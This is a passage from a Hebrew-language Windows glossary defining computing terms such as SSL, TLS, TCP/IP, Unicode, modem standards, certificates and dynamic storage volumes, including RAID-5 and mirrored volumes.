‫פשוטים כגון לולאות או ביטויי ‪ .if/then‬המונח "‪ "Script‬משמש לחלופין עם המונח "תוכנית‬
‫אצווה" בסביבת ‪.Windows‬‬

‫‪417‬‬
‫‪ Script‬לכניסה‬

‫קבצים שניתן להקצות לחשבונות משתמשים‪ Script .‬לכניסה הוא לרוב קובץ אצווה הפועל‬
‫באופן אוטומטי בכל פעם שהמשתמש מבצע כניסה למערכת‪ .‬ניתן להשתמש בו לשם הגדרת‬
‫סביבת העבודה של משתמש בכל כניסה‪ ,‬והוא מאפשר למנהל להשפיע על סביבת העבודה של‬
‫משתמש מבלי לנהל את כל ההיבטים הכרוכים בכך‪ .‬ניתן להקצות קבצי ‪ Script‬לכניסה לחשבון‬
‫משתמש אחד או יותר‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; נתיב ‪ Script‬לכניסה‬

‫‪(SSL) Secure Sockets Layer‬‬

‫תקן פתוח מוצע עבור יצירת ערוץ תקשורת מאובטח כדי למנוע קליטה של מידע קריטי‪ ,‬כגון‬
‫מספר כרטיס אשראי‪ .‬הוא משמש בעיקר ליצירת עיסקאות פיננסיות אלקטרוניות מאובטחות ב‪-‬‬
‫‪ ,World Wide Web‬על אף שהוא נועד לפעול גם בשירותי אינטרנט אחרים‪.‬‬

‫‪(S/MIME) Secure/Multipurpose Internet Mail Extensions‬‬

‫הרחבה של ‪ MIME‬לשם תמיכה בדואר מאובטח‪ .‬היא מאפשרת ליוצרי הודעות לבצע חתימה‬
‫דיגיטלית על הודעות דואר אלקטרוני כדי לספק הוכחה למקור ההודעה ותקינות הנתונים‪ .‬היא‬
‫מאפשרת גם שידור הודעות בתבנית מוצפנת ליצירת תקשורת חסויה‪.‬‬

‫‪(SCSI) Small Computer System Interface‬‬

‫ממשק מקביל ותקני במהירות גבוהה שהוגדר על‪-‬ידי ‪American National Standards‬‬
‫‪ .)ANSI( Institute‬ממשק ‪ SCSI‬משמש לחיבור מיקרו‪-‬מחשבים להתקנים היקפיים כגון‬
‫דיסקים קשיחים ומדפסות‪ ,‬ולמחשבים אחרים ורשתות תקשורת מקומיות (‪.)LAN‬‬

‫ראה גם‪ :‬התקן; רשת תקשורת מקומית (‪)LAN‬‬

‫‪(SACL) System Access Control List‬‬

‫החלק במתאר האבטחה של אובייקט המציין אילו אירועים ייבדקו לפי משתמש או קבוצה‪ .‬גישה‬
‫לקובץ‪ ,‬ניסיונות כניסה וכיבויי מערכת הם דוגמאות לאירועי בדיקה‪.‬‬

‫ראה גם‪ :‬אובייקט‬

‫‪systemroot‬‬

‫שם התיקיה והנתיב שבו קבצי המערכת של ‪ Windows‬ממוקמים‪ .‬על פי רוב‪ ,‬המיקום הוא‬
‫‪ ,C:\Windows‬אם כי ניתן לייעד תיקיה או כונן שונים בעת התקנת ‪ .Windows‬באפשרותך‬
‫להשתמש בערך ‪ %systemroot %‬להחלפת המיקום הממשי של התיקיה המכילה את קבצי‬
‫המערכת של ‪ .Windows‬כדי לזהות את תיקיית ‪ ,systemroot‬לחץ על התחל‪ ,‬לחץ על הפעלה‪,‬‬
‫הקלד ‪ %systemroot%‬ולאחר מכן לחץ על אישור‪.‬‬

‫‪T‬‬
‫‪TCP/IP‬‬
‫ראה הגדרה עבור‪)TCP/IP( Transmission Control Protocol/Internet Protocol :‬‬

‫‪418‬‬
‫‪(TAPI) Telephony API‬‬

‫ממשק תיכנות יישומים (‪ )API‬המשמש בתוכניות תקשורת לעבודה עם שירותי טלפוניה ורשת‪.‬‬
‫בתוכניות תקשורת כגון היפר‪-‬מסוף וחייגן נעשה שימוש ב‪ TAPI -‬לחיוג ולניתוב שיחות‬
‫ולמענה עליהן בהתקני טלפוניה רגילים‪ ,‬ובכלל זה התקני ‪ ,PBX‬מודמים ומכשירי פקס‪TAPI .‬‬
‫‪ 3.0‬מספק גם תמיכת טלפוניה של פרוטוקול אינטרנט (‪ ,)IP‬המשמשת חייגן ותוכניות אחרות‬
‫לשידור‪ ,‬ניתוב וביצוע בקרה של אותות שמע ווידאו בזמן‪-‬אמת על פני רשתות מבוססות‪ IP-‬כגון‬
‫האינטרנט‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון); פרוטוקול אינטרנט (‪;)IP‬‬


‫שירות‬

‫‪Telnet‬‬

‫פרוטוקול הדמיית מסוף הנמצא בשימוש נרחב באינטרנט למטרת כניסה למחשבי רשת‪ .‬כמו כן‪,‬‬
‫‪ Telnet‬מתייחס ליישום המשתמש בפרוטוקול ‪ Telnet‬עבור משתמשים הנכנסים ממיקומים‬
‫מרוחקים‪.‬‬

‫ראה גם‪ :‬פרוטוקול‬

‫‪(TCP/IP) Transmission Control Protocol/Internet Protocol‬‬

‫קבוצה של פרוטוקולי עבודה ברשת הנמצאים בשימוש נרחב באינטרנט ומספקים תקשורת על‪-‬‬
‫פני רשתות מחוברות הדדית של מחשבים בעלי ארכיטקטורות חומרה מגוונות ומערכות הפעלה‬
‫שונות‪ TCP/IP .‬כולל תקנים הנוגעים לאופן התקשורת בין מחשבים ומוסכמות עבור חיבור‬
‫רשתות וניתוב תעבורה‪.‬‬

‫ראה גם‪ :‬פרוטוקול; פרוטוקול אינטרנט (‪)IP‬‬

‫‪(TLS) Transport Layer Security‬‬

‫פרוטוקול תקני המספק תקשורות אינטרנט מאובטחת באינטרנט או ברשתות אינטרא‪-‬נט‪ .‬הוא‬
‫מאפשר ללקוחות לאמת שרתים או מאפשר לשרתים‪ ,‬באופן אופציונלי‪ ,‬לאמת לקוחות‪ .‬הוא‬
‫מספק גם ערוץ מאובטח על‪-‬ידי הצפנת תקשורות‪ TLS .‬הוא הגירסה העדכנית והמאובטחת יותר‬
‫של פרוטוקול ‪.SSL‬‬

‫ראה גם‪ ;)SSL( Secure Sockets Layer :‬אימות; פרוטוקול‬

‫‪Tunnel‬‬

‫התקשרות לוגית שבה נתונים נעטפים‪ .‬על פי רוב‪ ,‬מתבצעות הן יצירת מעטפה והן הצפנה וה‪-‬‬
‫‪ Tunnel‬הוא קישור פרטי ומאובטח בין מחשב מארח מרוחק או משתמש מרוחק ורשת פרטית‪.‬‬

‫ראה גם‪ :‬הצפנה; מחשב מארח; שרת ‪Tunnel‬‬

‫‪419‬‬
‫‪U‬‬
‫‪Unicode‬‬

‫תקן קידוד תווים שפותח על‪-‬ידי ‪ Unicode Consortium‬ומייצג כמעט את כל השפות הכתובות‬
‫בעולם‪ .‬רפרטואר התווים של ‪ Unicode‬כולל צורות ייצוג רבות‪ ,‬בין היתר ‪UTF-16 ,UTF-8‬‬
‫ו‪ .UTF-32 -‬מרבית ממשקי ‪ Windows‬משתמשים בצורת הייצוג ‪.UTF-16‬‬

‫ראה גם‪;)ASCII( American Standard Code for Information Interchange :‬‬


‫‪)UTF-8( Unicode Transmission Format 8 ;)UCS( Unicode Character System‬‬

‫‪(UCS) Unicode Character System‬‬

‫הפניה לערכת תווים תקנית בינלאומית המהווה חלק מתקן ‪ .Unicode‬הגירסה הקיימת הנפוצה‬
‫ביותר של תקן ‪ UCS‬היא ‪ ,UCS-2‬המציינת ערכי תווים של ‪ 16‬סיביות המוכרים ומקובלים‬
‫כעת בשימוש עבור קידוד מרבית שפות העולם‪.‬‬

‫ראה גם‪;)ASCII( American Standard Code for Information Interchange :‬‬


‫‪)UTF-8( Unicode Transmission Format 8 ;Unicode‬‬

‫‪(UTF-8) Unicode Transmission Format 8‬‬

‫ערכת תווים עבור פרוטוקולים המתפתחת מעבר לשימוש ב‪ .ASCII -‬פרוטוקול ‪ UTF-8‬תומך‬
‫בתווי ‪ ASCII‬מורחבים ובתרגום של ‪ ,UCS-2‬שהיא ערכת תווים בינלאומית של ‪Unicode‬‬
‫של ‪ 16‬סיביות‪ UTF-8 .‬מאפשר טווח שמות רחב בהרבה מזה שניתן להשיג באמצעות קידוד‬
‫‪ ASCII‬או ‪ ASCII‬מורחב עבור נתוני תווים‪.‬‬

‫ראה גם‪;)ASCII( American Standard Code for Information Interchange :‬‬


‫‪)UCS( Unicode Character System ;Unicode‬‬

‫‪(URL) Uniform Resource Locator‬‬

‫כתובת המזהה באופן ייחודי מיקום באינטרנט‪ .‬כתובת ‪ URL‬עבור אתר ‪World Wide Web‬‬
‫נפתחת ב‪ ,http:// -‬כמו בכתובת ה‪ URL -‬הבדויה‪:‬‬
‫‪ .http://www.example.microsoft.com/‬כתובת ‪ URL‬עשויה להכיל פירוט רב יותר‪ ,‬כגון‬
‫שם של דף היפר‪-‬טקסט‪ ,‬המזוהה בדרך כלל באמצעות סיומת שם הקובץ ‪ .html‬או ‪.htm‬‬

‫‪URL‬‬
‫ראה הגדרה עבור‪)URL( Uniform Resource Locator :‬‬

‫‪V‬‬
‫‪V.34‬‬

‫תקן שידור נתונים המספק תקשורת של עד ‪ 33,600‬סיביות לשניה (‪ )bps‬דרך קווי טלפון‪ .‬הוא‬
‫מגדיר טכניקת אפנון דופלקס מלא (דו‪-‬כיוונית) וכולל תיקון שגיאות ומשא ומתן‪.‬‬

‫ראה גם‪ ;V.90 :‬סיביות בשניה (‪ ;)bps‬תקני אפנון‬

‫‪420‬‬
‫‪V.90‬‬

‫תקן שידור נתונים המספק תקשורת של עד ‪ 56,000‬סיביות בשניה (‪ )bps‬דרך קווי טלפון‪.‬‬
‫מהירות השידור מהמודם בצד הלקוח היא ‪ ,33,600 bps‬כמו ב‪ .V.34 -‬מהירות השידור‬
‫מהמודם בצד המחשב המארח‪ ,‬כגון ספק שירותי אינטרנט (‪ )ISP‬או רשת של חברה‪ ,‬היא עד‬
‫‪ ,56,000 bps‬עם מהירות ממוצעת של ‪ 40,000‬עד ‪ .50,000 bps‬כאשר המודם בצד המארח‬
‫אינו תומך בתקן זה‪ ,‬החלופה היא ‪.V.34‬‬

‫ראה גם‪ ;V.34 :‬לקוח; מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון); מחשב‬


‫מארח; סיביות בשניה (‪ ;)bps‬ספק שירותי אינטרנט (‪ ;)ISP‬תקני אפנון‬

‫‪(Voice over Internet Protocol) VoIP‬‬

‫שיטה לשליחת קול דרך רשת תקשורת מקומית (‪ ,)LAN‬רשת תקשורת מרחבית (‪ )WAN‬או‬
‫האינטרנט באמצעות מנות ‪.TCP/IP‬‬

‫ראה גם‪ ;)TCP/IP( Transmission Control Protocol/Internet Protocol :‬רשת תקשורת‬


‫מקומית (‪ ;)LAN‬רשת תקשורת מרחבית (‪)WAN‬‬

‫‪W‬‬
‫‪(WebDAV) Web Distributed Authoring and Versioning‬‬

‫פרוטוקול יישום הקשור ל‪ HTTP 1.1 -‬ומאפשר ללקוחות לפרסם ולנהל בצורה שקופה‬
‫משאבים ב‪.World Wide Web -‬‬

‫‪WebDAV‬‬
‫ראה הגדרה עבור‪)WebDAV( Web Distributed Authoring and Versioning :‬‬

‫‪World Wide Web‬‬

‫מערכת לסיור באינטרנט באמצעות היפר‪-‬קישורים‪ .‬בעת שימוש בדפדפן אינטרנט‪ ,‬האינטרנט‬
‫מופיע כאוסף של טקסט‪ ,‬תמונות‪ ,‬צלילים וסרטים דיגיטליים‪.‬‬

‫ראה גם‪ :‬אינטרנט‬

‫‪X‬‬
‫‪x86‬‬

‫מונח המתייחס למיקרו‪-‬מעבדים בעלי ארכיטקטורת מעבד ‪ Intel‬של ‪ 32‬סיביות או למיקרו‪-‬‬


‫מעבדים או הדמיה שלה‪.‬‬

‫‪(Extensible Markup Language) XML‬‬


‫ראה הגדרה עבור‪)XML( Extensible Markup Language :‬‬

‫‪Y‬‬
‫אין במילון מונחים המתחילים באות זו‪.‬‬

‫‪421‬‬
‫‪Z‬‬
‫אין במילון מונחים המתחילים באות זו‪.‬‬

‫א‬
‫אובייקט‬

‫ישות‪ ,‬כגון קובץ‪ ,‬תיקיה‪ ,‬תיקיה משותפת‪ ,‬מדפסת או אובייקט ‪ ,Active Directory‬המתואר‬
‫באמצעות קבוצת תכונות נבדלת ובעלת שם‪ .‬לדוגמה‪ ,‬התכונות של אובייקט קובץ כוללות את‬
‫שמו‪ ,‬מיקומו וגודלו; התכונות של אובייקט משתמש ‪ Active Directory‬עשויות לכלול את‬
‫השם הפרטי‪ ,‬שם המשפחה וכתובת הדואר האלקטרוני של המשתמש‪.‬‬

‫עבור ‪ OLE‬ו‪ ,ActiveX -‬אובייקט עשוי גם להוות כל פיסת מידע שניתן לקשרה אל אובייקט‬
‫אחר או להטביעה באובייקט אחר‪.‬‬

‫ראה גם‪ ;OLE :‬תכונה‬

‫אובייקט מדיניות קבוצתית‬

‫אוסף של הגדרות מדיניות קבוצתית‪ .‬אובייקטי מדיניות קבוצתית הם ביסודו של דבר המסמכים‬
‫שנוצרו על‪-‬ידי יישום ה‪ Snap-in -‬של מדיניות קבוצתית‪ ,‬שהוא כלי שירות של ‪.Windows‬‬
‫אובייקטי מדיניות קבוצתית מאוחסנים ברמת קבוצת המחשבים והם משפיעים על משתמשים‬
‫ומחשבים הכלולים באתרים‪ ,‬קבוצות מחשבים ויחידות ארגוניות‪ .‬בנוסף‪ ,‬לכל מחשב ‪Windows‬‬
‫יש קבוצת הגדרות אחת בדיוק המאוחסנת באופן מקומי‪ ,‬המכונה אובייקט המדיניות הקבוצתית‪.‬‬

‫ראה גם‪ :‬אובייקט; מדיניות; מדיניות קבוצתית‬

‫אובייקט מוטבע‬

‫מידע שנוצר בתוכנית אחרת והודבק במסמך שלך‪ .‬כאשר נעשית הטבעת מידע‪ ,‬באפשרותך‬
‫לערוך את המידע במסמך החדש באמצעות סרגלי כלים ותפריטים מהתוכנית המקורית‪.‬‬

‫כדי לערוך את המידע‪ ,‬לחץ עליו פעמיים לשם הצגת סרגלי הכלים והתפריטים של התוכנית‬
‫ששימשה ליצירת המידע‪ .‬מידע מוטבע אינו מקושר למקור‪ .‬אם תשנה מידע במקום אחד‪ ,‬הוא לא‬
‫יתעדכן במקום האחר‪.‬‬

‫ראה גם‪ ;OLE :‬חבילה; מסמך מקור‬

‫אובייקט מקושר‬

‫אובייקט הנוסף למסמך אך קיים עדיין בקובץ המקור‪ .‬כאשר מידע מקושר‪ ,‬המסמך החדש‬
‫מעודכן אוטומטית כאשר המידע במסמך המקורי משתנה‪ .‬אם ברצונך לערוך את המידע‬
‫המקושר‪ ,‬לחץ עליו פעמיים‪ .‬סרגלי הכלים והתפריטים של התוכנית המקורית יופיעו‪ .‬אם‬
‫המסמך המקורי נמצא במחשב שלך‪ ,‬השינויים שתבצע במידע המקושר יופיעו גם במסמך‬
‫המקורי‪.‬‬

‫ראה גם‪ ;OLE :‬אובייקט מוטבע; חבילה; מסמך מקור‬

‫‪422‬‬
‫אובייקט משימה‬

‫מבנה ברמת המערכת המאפשר לקבץ יחד תהליכים ולנהל אותם כיחידה אחת‪.‬‬

‫אופרטור‬

‫במתמטיקה ובתיכנות ויישומי מחשב‪ ,‬סימן או תו אחר המציין פעולה החלה על רכיב אחד או‬
‫יותר‪ .‬באפשרותך להשתמש בארבעת האופרטורים שלהלן בחישובים רגילים‪:‬‬

‫‪ /‬חילוק‬

‫* כפל‬

‫‪ -‬חיסור‬

‫‪ +‬חיבור‬

‫עבור שירות יצירת אינדקס‪ ,‬מילה או תו המציינים קשר בשאילתה‪.‬‬

‫אות כונן‬

‫המוסכמה למתן שמות לכונני דיסקים במחשבי ‪ IBM‬ובמחשבים תואמים‪ .‬שם כונן מורכב מאות‪,‬‬
‫החל מ‪ ,A -‬ואחריה נקודותיים‪.‬‬

‫ראה גם‪ :‬כונן‬

‫אזור הדיווחים‬

‫האזור בשורת המשימות משמאל ללחצני שורת המשימות‪ .‬אזור הדיווחים מציג את השעה ועשוי‬
‫גם להכיל קיצורי דרך המספקים גישה מהירה לתוכניות‪ ,‬כגון בקרת עוצמה או אפשרויות צריכת‬
‫חשמל‪ .‬קיצורי דרך אחרים עשויים להופיע באופן זמני ולספק מידע אודות המצב של פעילויות‪.‬‬
‫לדוגמה‪ ,‬סמל קיצור הדרך של המדפסת מופיע לאחר שמסמך נשלח למדפסת ונעלם בתום‬
‫ההדפסה‪.‬‬

‫אזור מצב‬
‫ראה הגדרה עבור‪ :‬אזור הדיווחים‬

‫אחסון בסיסי‬

‫פעולת שירות לאחסון ב‪ Windows NT ,Windows ,MS-DOS -‬ו‪ Windows 2000 -‬עבור‬
‫מחיצות ראשיות‪ ,‬מחיצות מורחבות וכוננים לוגיים‪.‬‬

‫ראה גם‪ :‬אחסון דינאמי; כונן לוגי; מחיצה מורחבת‬

‫אחסון דינאמי‬

‫שיטת אחסון ב‪ Windows -‬המאפשרת ניהול דיסקים ואמצעי אחסון מבלי שתידרש הפעלה‬
‫מחדש של המערכת‪.‬‬

‫‪423‬‬
‫ראה גם‪ :‬אחסון בסיסי‬

‫אחסון נשלף‬

‫שירות המשמש לניהול אמצעי אחסון נשלפים (כגון קלטות ודיסקים) והתקני אחסון (ספריות)‪.‬‬
‫אחסון נשלף מאפשר ליישומים לבצע גישה לאותם משאבים של אמצעי אחסון ולשתף אותם‪.‬‬

‫ראה גם‪ :‬ספריה; שירות‬

‫איזון עומס‬

‫טכניקה המשמשת את ‪ Windows Clustering‬לשם שינוי קנה המידה של ביצועי תוכנית‬


‫מבוססת שרת (כגון שרת אינטרנט) על‪-‬ידי חלוקת בקשות הלקוח שלה בין שרתים מרובים‬
‫באשכול‪ .‬לכל מחשב מארח יש אפשרות לציין את אחוזי העומס שבהם יטפל‪ .‬לחלופין‪ ,‬ניתן‬
‫לחלק את העומס באופן שווה בין כל המחשבים המארחים‪ .‬אם מחשב מארח נכשל‪Windows ,‬‬
‫‪ Clustering‬מחלק מחדש את העומס באופן דינאמי בין המחשבים המארחים הנותרים‪.‬‬

‫ראה גם‪ :‬מחשב מארח‬

‫איחוי‬

‫תהליך כתיבה מחדש של חלקי קובץ בסקטורים רציפים בדיסק קשיח כדי להגביר את מהירות‬
‫הגישה והאחזור‪ .‬בעת עדכון קבצים‪ ,‬המחשב נוטה לשמור את העדכונים במקום הרציף הגדול‬
‫ביותר בדיסק הקשיח‪ ,‬הנמצא לרוב בסקטור אחר מאשר זה שבו נמצאים שאר חלקי הקובץ‪.‬‬
‫כאשר הקבצים מפוצלים כך‪ ,‬על המחשב לחפש בדיסק הקשיח בכל פעם שהקובץ נפתח כדי‬
‫לאתר את כל חלקי הקובץ‪ ,‬פעולה המאטה את זמן התגובה‪.‬‬

‫ראה גם‪ :‬פיצול‬

‫אימות‬

‫תהליך המאמת כי ישות או אובייקט הם מי או מה שהם מתיימרים להיות‪ .‬דוגמאות לכך כוללות‬
‫אישור המקור והאמינות של מידע‪ ,‬כגון אימות חתימה דיגיטלית או אימות זהותו של משתמש או‬
‫מחשב‪.‬‬

‫ראה גם‪ :‬יחסי אמון; כרטיס חכם‬

‫אינטרא‪-‬נט‬

‫רשת בתוך ארגון העושה שימוש בטכנולוגיות ופרוטוקולים של האינטרנט‪ ,‬אך היא זמינה‬
‫לאנשים מסוימים בלבד‪ ,‬לדוגמה העובדים בחברה‪ .‬אינטרא‪-‬נט מכונה גם רשת פרטית‪.‬‬

‫אינטרנט‬

‫אינטרנט‪ .‬שתי יחידות רשת או יותר המחוברות באמצעות נתבים‪ .‬שם אחר לרשת‪.‬‬

‫אינטרנט‪ .‬רשת עולמית של מחשבים‪ .‬אם יש לך גישה לאינטרנט‪ ,‬באפשרותך לאחזר מידע‬
‫ממיליוני מקורות‪ ,‬ביניהם בתי ספר‪ ,‬ממשלות‪ ,‬עסקים ואנשים פרטיים‪.‬‬

‫‪424‬‬
‫ראה גם‪World Wide Web :‬‬

‫אינפרא‪-‬אדום )‪(IR‬‬

‫אור שהוא מעבר לאדום בקשת הצבעים‪ .‬עין האדם אינה מסוגלת לראות את האור‪ ,‬אך משדרים‬
‫ומקלטים של אור אינפרא‪-‬אדום יכולים לשלוח ולקבל אותות אינפרא‪-‬אדומים‪.‬‬

‫ראה גם‪ ;)IrDA( Infrared Data Association :‬התקן אינפרא‪-‬אדום; יציאת אינפרא‪-‬אדום‬

‫אישור‬

‫מסמך דיגיטלי המשמש לאימות ולהחלפה מאובטחת של מידע ברשתות פתוחות‪ ,‬כגון האינטרנט‪,‬‬
‫רשתות אקסטרא‪-‬נט ואינטרא‪-‬נט‪ .‬האישור מאגד באופן מאובטח מפתח ציבורי לישות המחזיקה‬
‫את המפתח הפרטי התואם‪ .‬האישורים נחתמים דיגיטלית על‪-‬ידי רשות האישורים המנפיקה‬
‫אותם וניתנים להנפקה עבור משתמש‪ ,‬מחשב או שירות‪ .‬התבנית המקובלת ביותר עבור‬
‫אישורים מוגדרת על‪-‬ידי התקן הבינלאומי ‪ ITU-T X.509‬גירסה ‪.3‬‬

‫ראה גם‪ :‬מפתח פרטי; רשות אישורים (‪ ;)CA‬שירות‬

‫אישור ‪X.509v3‬‬

‫גירסה ‪ 3‬של המלצת ‪ X.509 ITU-T‬עבור תחביר ותבנית של אישורים‪ .‬זוהי תבנית האישורים‬
‫התקנית בה נעשה שימוש ב‪ Windows XP -‬בתהליכים מבוססי‪-‬אישורים‪.‬‬

‫אישור ‪ X.509‬כולל את המפתח הציבורי ומידע אודות האדם או הישות עבורם האישור מונפק‪,‬‬
‫מידע אודות האישור ומידע אופציונלי אודות רשות האישורים (‪ )CA‬המנפיקה את האישור‪.‬‬

‫ראה גם‪ :‬אישור; רשות אישורים (‪)CA‬‬

‫אישור בסיס‬

‫אישור של רשות אישורים בחתימה עצמית‪ .‬הוא קרוי אישור בסיס משום שהוא האישור עבור‬
‫רשות הבסיס‪ .‬על רשות הבסיס לחתום על האישור שלה בעצמה משום שעל פי הגדרתה אין‬
‫רשות אישורים גבוהה יותר בהירארכיית האישורים‪.‬‬

‫ראה גם‪ :‬אישור; הירארכיה של אישורים; רשות אישורים (‪ ;)CA‬רשות בסיס‬

‫אל‪-‬פסק )‪(UPS‬‬

‫התקן המחובר בין מחשב ומקור כוח חשמלי ונועד להבטיח אי‪-‬הפרעה לזרימת החשמל‪ .‬בהתקני‬
‫‪ UPS‬נעשה שימוש בסוללות לשם המשך פעולת המחשב לפרק זמן מסוים לאחר הפסקת חשמל‪.‬‬
‫התקני ‪ UPS‬גם מספקים בדרך כלל הגנה מפני קפיצות מתח ונפילות מתח‪.‬‬

‫אמצעי אחסון‬

‫כל אובייקט קבוע או נשלף המאחסן נתוני מחשב‪ .‬דוגמאות לאמצעי אחסון כוללות דיסקים‬
‫קשיחים‪ ,‬תקליטונים‪ ,‬קלטות ותקליטורים‪.‬‬

‫‪425‬‬
‫אמצעי אחסון‬

‫אזור אחסון בדיסק קשיח‪ .‬אמצעי אחסון מעוצב באמצעות מערכת קבצים‪ ,‬כגון ‪ FAT‬או ‪,NTFS‬‬
‫ומוקצית לו אות כונן‪ .‬באפשרותך להציג את התוכן של אמצעי אחסון על‪-‬ידי לחיצה על הסמל‬
‫שלו ב‪ Windows Explorer -‬או בתיקיה המחשב שלי‪ .‬דיסק קשיח בודד עשוי להכיל מספר‬
‫אמצעי אחסון‪ ,‬ואמצעי אחסון עשויים גם להתפרס על‪-‬פני מספר דיסקים‪.‬‬

‫ראה גם‪ :‬אות כונן; אמצעי אחסון מורחב; אמצעי אחסון פשוט; דיסק; טבלת מיקומי קבצים (‬
‫‪ ;)FAT‬מערכת קבצים של ‪NTFS‬‬

‫אמצעי אחסון בסיסי‬

‫מחיצה ראשית או כונן לוגי השוכן בדיסק בסיסי‪.‬‬

‫ראה גם‪ :‬דיסק בסיסי; כונן לוגי; מחיצה ראשית‬

‫אמצעי אחסון דינאמי‬

‫אמצעי אחסון השוכן בדיסק דינאמי‪ Windows .‬תומך בחמישה סוגים של אמצעי אחסון‬
‫דינאמיים‪ :‬פשוטים‪ ,‬מורחבים‪ ,‬מפוצלים‪ ,‬שעברו שיקוף ו‪ .RAID-5 -‬אמצעי אחסון דינאמי‬
‫מאותחל באמצעות מערכת קבצים‪ ,‬כגון ‪ FAT‬או ‪ ,NTFS‬ויש לו אות כונן שהוקצתה עבורו‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; אמצעי אחסון בסיסי; אמצעי אחסון מורחב; אמצעי אחסון מסוג‬
‫‪ ;RAID-5‬אמצעי אחסון פשוט; אמצעי אחסון שעבר שיקוף; דיסק בסיסי; דיסק דינאמי‬

‫אמצעי אחסון מורחב‬

‫אמצעי אחסון דינאמי המורכב משטח דיסק ביותר מדיסק פיזי אחד‪ .‬באפשרותך להגדיל אמצעי‬
‫אחסון מורחב על‪-‬ידי הרחבתו אל דיסקים דינאמיים נוספים‪ .‬באפשרותך ליצור אמצעי אחסון‬
‫מורחבים רק על‪-‬גבי דיסקים דינאמיים‪ .‬אמצעי אחסון מורחבים אינם עמידים בפני תקלות ולא‬
‫ניתן לשקפם‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; אמצעי אחסון דינאמי; אמצעי אחסון פשוט; אמצעי אחסון שעבר שיקוף;‬
‫דיסק דינאמי‬

‫אמצעי אחסון מסוג ‪RAID-5‬‬

‫אמצעי אחסון עמיד בפני תקלות עם נתונים וזוגיות המפוצלים לסירוגין על‪-‬פני שלושה דיסקים‬
‫פיזיים או יותר‪ .‬זוגיות היא ערך מחושב המשמש לבנייה מחדש של נתונים לאחר כשל‪ .‬אם יש‬
‫כשל בחלק מדיסק פיזי‪ Windows ,‬יוצר מחדש את הנתונים שנמצאו בחלק עם הכשל מתוך‬
‫הנתונים והזוגיות הנותרים‪ .‬באפשרותך ליצור אמצעי אחסון מסוג ‪ RAID-5‬רק בדיסקים‬
‫דינאמיים‪ ,‬ואין באפשרותך לשקף או להרחיב אמצעי אחסון מסוג ‪.RAID-5‬‬

‫ראה גם‪ :‬אמצעי אחסון; אמצעי אחסון דינאמי; דיסק דינאמי; זוגיות‬

‫אמצעי אחסון פעיל‬

‫אמצעי האחסון שממנו מופעל המחשב‪ .‬על אמצעי האחסון הפעיל להיות אמצעי אחסון פשוט‬
‫בדיסק דינאמי‪ .‬אין באפשרותך לסמן אמצעי אחסון דינאמי קיים כאמצעי האחסון הפעיל‪ ,‬אך‬

‫‪426‬‬
‫באפשרותך לשדרג דיסק בסיסי המכיל את המחיצה הפעילה לדיסק דינאמי‪ .‬לאחר שהדיסק‬
‫שודרג לדיסק דינאמי‪ ,‬המחיצה הופכת לאמצעי אחסון פשוט פעיל‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון דינאמי; אמצעי אחסון פשוט; דיסק בסיסי; דיסק דינאמי; מחיצה פעילה‬

‫אמצעי אחסון פשוט‬

‫אמצעי אחסון דינאמי הבנוי משטח דיסק מדיסק דינאמי יחיד‪ .‬אמצעי אחסון פשוט עשוי להיות‬
‫מורכב מאזור בודד בדיסק או ממספר אזורים של אותו דיסק המקושרים יחד‪ .‬באפשרותך‬
‫להרחיב אמצעי אחסון פשוט בתוך אותו דיסק או לתוך דיסקים נוספים‪ .‬בעת הרחבת אמצעי‬
‫אחסון פשוט על‪-‬פני מספר דיסקים‪ ,‬הוא הופך לאמצעי אחסון מורחב‪ .‬באפשרותך ליצור אמצעי‬
‫אחסון פשוטים רק על‪-‬גבי דיסקים דינאמיים‪ .‬אמצעי אחסון פשוטים אינם עמידים בפני תקלות‪,‬‬
‫אך באפשרותך לשקף אותם לשם יצירת אמצעי אחסון שעברו שיקוף‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; אמצעי אחסון דינאמי; אמצעי אחסון מורחב; אמצעי אחסון שעבר‬
‫שיקוף; דיסק דינאמי‬

‫אמצעי אחסון שעבר שיקוף‬

‫אמצעי אחסון עמיד בפני תקלות המשכפל נתונים בשני דיסקים פיזיים‪ .‬אמצעי אחסון שעבר‬
‫שיקוף מספק יתירות נתונים על‪-‬ידי שימוש בשני אמצעי אחסון זהים‪ ,‬הקרויים שיקופים‪ ,‬לשם‬
‫שכפול המידע הכלול באמצעי האחסון‪ .‬שיקוף ממוקם תמיד בדיסק שונה‪ .‬אם מתרחש כשל‬
‫באחד מהדיסקים הפיזיים‪ ,‬הנתונים בדיסק עם הכשל הופכים לבלתי זמינים‪ ,‬אך המערכת‬
‫ממשיכה לפעול בשיקוף בדיסק הנותר‪ .‬ניתן ליצור אמצעי אחסון שעברו שיקוף רק באמצעות‬
‫דיסקים דינאמיים‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; אמצעי אחסון דינאמי; אמצעי אחסון מסוג ‪ ;RAID-5‬דיסק דינאמי‬

‫אמצעי האחסון לאתחול‬

‫אמצעי האחסון המכיל את מערכת ההפעלה ‪ Windows‬ואת קבצי התמיכה שלה‪ .‬אמצעי האחסון‬
‫יכול להיות זהה לאמצעי האחסון של המערכת‪ ,‬אך אין זה הכרחי‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; אמצעי האחסון של המערכת‬

‫אמצעי האחסון של המערכת‬

‫אמצעי האחסון המכיל את הקבצים הספציפיים לחומרה הנחוצים לטעינת ‪ Windows‬במחשבים‬


‫מבוססי‪ x86-‬עם ‪ .BIOS‬אמצעי האחסון של המערכת עשוי להיות זהה לאמצעי האחסון‬
‫לאתחול‪ ,‬אך אין בכך הכרח‪.‬‬

‫ראה גם‪ ;x86 :‬אמצעי אחסון; אמצעי האחסון לאתחול; מערכת קלט‪/‬פלט בסיסית (‪)BIOS‬‬

‫אפיק‬

‫ערוץ תקשורת המשמש להעברת נתונים בין הרכיבים של מערכת מחשב‪ .‬האפיק מאפשר‬
‫למעשה שיתוף נתונים בין חלקי המערכת השונים‪ .‬לדוגמה‪ ,‬אפיק מקשר את בקר כונן הדיסקים‪,‬‬
‫הזיכרון ויציאות הקלט‪/‬פלט למיקרו‪-‬מעבד‪.‬‬

‫‪427‬‬
